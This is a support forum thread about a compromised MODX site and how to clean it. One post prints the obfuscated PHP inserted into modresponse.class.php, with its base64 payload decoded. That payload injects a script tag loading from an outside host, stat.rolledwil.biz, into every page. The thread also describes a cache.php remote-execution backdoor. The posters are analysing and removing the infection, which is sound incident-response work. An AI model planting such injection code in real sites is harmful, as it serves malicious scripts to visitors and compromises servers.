We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
  • @ash.burgess? Was the infected site on a previous version of Revo or imported into Cloud? What version is it running on now?

    Jay
      Author of zero books. Formerly of many strange things. Pairs well with meats. Conversations are magical experiences. He's dangerous around code but a markup magician. BlogTwitterLinkedInGitHub
      • 47955
      • 3 Posts
      Quote from: smashingred at Jun 12, 2014, 02:06 PM
      @ash.burgess? Was the infected site on a previous version of Revo or imported into Cloud? What version is it running on now?

      Jay

      I do not recall if the website was infected on a previous version of Revo (sorry) its only because the 404 error to the script started to show in Dev tools and Google flagged us as Malware at one point that we noted. But yes the cloud was imported from a none cloud version of MODx a few months back. This was done with the Vapor tool, once it was imported into the cloud it was then transferred onto the 2 other instances as development versions (these do not have the script). The current version is : 2.2.14-pl

      Thanks, Ashley. [ed. note: ash.burgess last edited this post 9 years, 10 months ago.]
        • 2982
        • 2 Posts
        Quote from: beberules at Jun 12, 2014, 01:20 PM
        Same issue here, I have 2 sites running 2.2.14 (same hosting), and one of them is infected. The problem is that i deleted the file called cache.php from the assets folder but the malicious JavaScript is still injected. Any thoughts on how to proceed?

        Nevermind my previous post, after running an update it appears i got rid of the script. I hope it stays this way smiley

          • 10075
          • 20 Posts
          I can't rule out the possibility of a server compromise, and I'm working with my Web hosting company on that angle. However, because this particular attack seems specifically targeted at MODx, I also wouldn't be quick to rule out a zero-day exploit in MODx. In researching this issue, I have not found any evidence of this particular attack affecting non-MODx sites.
            • 10075
            • 20 Posts
            Update: I've spoken to my hosting provider. Here's what they said:

            The file cache.php was created by a HTTP POST operation. The details of the POST operation are as follows:

            37.230.115.115 - - "POST /assets/cache.php HTTP/1.1" 200 91 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"

            File: [server path redacted]/public_html/assets/cache.php
            User: fveaux, Group: fveaux
            Size: 41 bytes
              • 48052
              • 2 Posts
              Hi everyone,

              I'm not a MODx guy, but I did inherit a site from a client that runs MODx 2.2.4. I noticed that their site was hit by this bug and decided to do some debugging to determine exactly how this code is being injected in to the site. By messing around with a few things I was able to determine that the closing body tag was being replaced with the exploit code. Further digging in to MODx's template / parsing engine led me to find the following code in /core/model/modx/modresponse.class.php at line 188:

              if ($_SERVER["HTTP_REFERER"]!='') {
                              $linker = base64_decode("PG5vaW5kZXg+CjxzY3JpcHQgc3JjPSIvL3N0YXQucm9sbGVkd2lsLmJpei9zdGF0LnBocD88cmVwbGFjZT4iPjwvc2NyaXB0Pgo8L25vaW5kZXg+");
                              $param = str_replace('.','',$_SERVER['SERVER_ADDR']);
                              $linker = str_replace('<replace>', $param, $linker );
                              $this->modx->resource->_output = str_replace("</body>", $linker."\n</body>", $this->modx->resource->_output); }
              


              In short, what the above does is: If there is an HTTP referrer in the browser headers, replace the closing body tag with the following:
              <noindex>
              <script src="//stat.rolledwil.biz/stat.php?(IP of server with periods stripped)"></script>
              </noindex>
              </body>
              


              Someone else has already posted an analysis of what the included script does, so I won't go in to that.

              Anyway, most of you are probably here looking for the solution. I don't have a complete answer but here is something to get you started:


              • You more than likely have a cache.php in your /assets/ folder. DELETE THIS FILE as it is a remote execution exploit that allows hackers to run commands on your server.
              • Either replace your modresponse.class.php with an original source file or open it up and delete the code described above.

              The big question is how the original cache.php was placed on the server to begin with. It could be due to an exploit in a plugin or in the core system. In my case, the cache.php file has been on the server for close to a year but a handful of plugins have been updated since, so I don't really have a way to start looking in to this. If I find that the cache.php file somehow makes it back on to the server, I'll investigate further to see if I can figure out what's being exploited.

              Good luck. [ed. note: mmatos last edited this post 9 years, 10 months ago.]
                Marcus R. Matos, CISSP
                IT / MIS / Software Development Consultant
                Matos Consulting LLC [www.matosconsulting.com]
                • 48052
                • 2 Posts
                Quote from: franklinveaux at Jun 13, 2014, 05:26 PM
                Update: I've spoken to my hosting provider. Here's what they said:
                The file cache.php was created by a HTTP POST operation. The details of the POST operation are as follows:

                I doubt that's how the file was created. cache.php allows remote code execution and what you're seeing is the log of someone hitting your cache.php file and executing some code - likely making changes to core MODx files as described in my prior post. I suspect some other exploit was used to drop the cache.php file on to your server, which then can be used to further exploit your system.

                  Marcus R. Matos, CISSP
                  IT / MIS / Software Development Consultant
                  Matos Consulting LLC [www.matosconsulting.com]
                  • 47955
                  • 3 Posts
                  @mmatos that was a great help and appears to have solved the problem, Thanks A Lot.

                  A quick update on my support ticket with MODxcloud I received minor communications with them about the problem, but judging by @mmatos reply this problem may not have anything to do with the cloud platform.

                  [ed. note: ash.burgess last edited this post 9 years, 10 months ago.]
                  • This almost certainly sounds like the issue related to the issue closed in 2.2.13. Also be sure to check for any newly registered users. This exploit was used as part of a script that allowed people to create new users without a manager session and gain access to the entire install. We've seen usernames starting with "support@" as well as including profanity.

                    It is imperative that anyone running MODX should be running the latest version due to a number of serious vulnerabilities found in older versions, some going back to it's original release. While it will not make your site impervious to attackers, it will close out known vulnerabilities which attackers catalog and use to attack sites that are not updated. They don't need to seek to find new exploits in the new software, this is usually uncovered once something else is patched or reported as an issue with enough detail to ascertain the vulnerability.
                      Author of zero books. Formerly of many strange things. Pairs well with meats. Conversations are magical experiences. He's dangerous around code but a markup magician. BlogTwitterLinkedInGitHub
                      • 10075
                      • 20 Posts
                      I'm not convinced this is the same issue. When I had this problem with my site, I was running 2.2.14, and no new or unexpected users are present.